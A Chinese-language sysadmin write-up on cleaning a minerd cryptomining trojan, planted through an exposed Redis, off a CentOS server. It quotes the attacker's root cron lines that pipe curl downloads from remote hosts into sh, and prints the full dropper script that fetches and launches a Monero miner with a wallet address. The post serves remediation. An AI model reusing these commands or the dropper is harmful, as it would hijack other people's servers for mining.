彻底清除Linux centos minerd木马 实战 跟redis的设置有关

top -c把cpu占用最多的进程找出来：

Tasks:  total,    running,  sleeping,    stopped,    zombie
Cpu(s): 72.2%us,  5.9%sy,  0.0%ni, 17.5%id,  0.0%wa,  0.0%hi,  0.1%si,  4.3%st
Mem:  16330820k total,  4093308k used, 12237512k free,   339564k buffers
Swap:        0k total,        0k used,        0k free,  1121232k cached

  PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND
 root           381m   S 299.5  0.1  : ./minerd -B -a cryptonight -o stratum+tcp://xmr.crypto-poo

定位程序的位置：

# locate minerd
/home/minerd

# chmod -x minerd

查看一下计划任务的时志：

sh-4.1# tail -f /var/log/cron
Jan   :: xxxx run-parts(/etc/cron.hourly)[]: finished 0anacron
Jan   :: xxxx CROND[]: (root) CMD (/usr/bin/curl -fsSL http://sx.doiton.tk/test.sh | sh)
Jan   :: xxxx CROND[]: (root) CMD (/usr/bin/curl -fsSL http://sx.doiton.tk/test.sh | sh)
Jan   :: xxxx CROND[]: (root) CMD (/usr/lib64/sa/sa1  )
Jan   :: xxxx CROND[]: (root) CMD (/usr/bin/curl -fsSL http://sx.doiton.tk/test.sh | sh)
Jan   :: xxxx CROND[]: (root) CMD (/usr/bin/curl -fsSL http://sx.doiton.tk/test.sh | sh)
Jan   :: xxxx CROND[]: (root) CMD (/usr/lib64/sa/sa1  )
Jan   :: xxxx CROND[]: (root) CMD (/usr/bin/curl -fsSL http://sx.doiton.tk/test.sh | sh)
Jan   :: xxxx CROND[]: (root) CMD (/usr/bin/curl -fsSL http://sx.doiton.tk/test.sh | sh)
Jan   :: xxxx CROND[]: (root) CMD (/usr/lib64/sa/sa1  )

sh-4.1# crontab -l
REDIS0007�    redis-ver3.2.5
��crackit@G�ctime��qXused-mem� 

*/ * * * * /usr/bin/curl -fsSL http://sx.doiton.tk/test.sh | sh

把脚本wget下来看一下内容：

#!/bin/bash
Jin=`ps -ef|grep minerd|grep -v grep|wc -l`
Pid=`ps -ef|grep minerd|grep -v grep|awk '{print $2}'`
Wk=`ps -ef|grep 44GpQ3X9aCR5fMfD8myxKQcAYjkTdT5KrM4NM2rM9yWnEkP28mmXu5URUCxwuvKiVCQPZaoYkpxxzKoCpnED6Gmb2wWJRuN|grep -v grep|wc -l`
if [ $Jin -eq   ];then
  if [ $Wk -eq   ];then
        kill - $Pid
        nohup /opt/minerd -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:80 -u 44GpQ3X9aCR5fMfD8myxKQcAYjkTdT5KrM4NM2rM9yWnEkP28mmXu5URUCxwuvKiVCQPZaoYkpxxzKoCpnED6Gmb2wWJRuN -p x &
  fi
else
  kill - $Pid
        nohup /opt/minerd -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:80 -u 44GpQ3X9aCR5fMfD8myxKQcAYjkTdT5KrM4NM2rM9yWnEkP28mmXu5URUCxwuvKiVCQPZaoYkpxxzKoCpnED6Gmb2wWJRuN -p x &
fi
if  [ $Jin -eq   ];then
   mkdir /home -p \
   &&  cd /home \
   &&  curl -L http://sx.doiton.tk/minerd -o minerd\
   &&  chmod +x minerd \
   &&  nohup ./minerd -B  -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:80 -u 44GpQ3X9aCR5fMfD8myxKQcAYjkTdT5KrM4NM2rM9yWnEkP28mmXu5URUCxwuvKiVCQPZaoYkpxxzKoCpnED6Gmb2wWJRuN -p x &
fi

杀掉minerd

sh-4.1# pkill minerd

清空计划任务:

# crontab -r
sh-4.1# crontab -l
no crontab for root

查看/root/.ssh发现有导常：

sh-4.1# file root
root: data
sh-4.1# cat root
REDIS0007�    redis-ver3.2.5
��crackit@z�ctime®

*/ * * * * /usr/bin/curl -fsSL http://d.nrfly.com/v/down.php?u=ad1b7c3c18fdfa9a7c7e5baf5fab9c42.undefined.mp3 | sh

��wx��]sh-4.1# pwd
/root/.ssh

下载下来该文件，查看内容：

[root@NB movies]# file down.php\?u\=ad1b7c3c18fdfa9a7c7e5baf5fab9c42.undefined.mp3
down.php?u=ad1b7c3c18fdfa9a7c7e5baf5fab9c42.undefined.mp3: HTML document text
# 发现是html代码

把这个文件清除掉

sh-4.1# rm root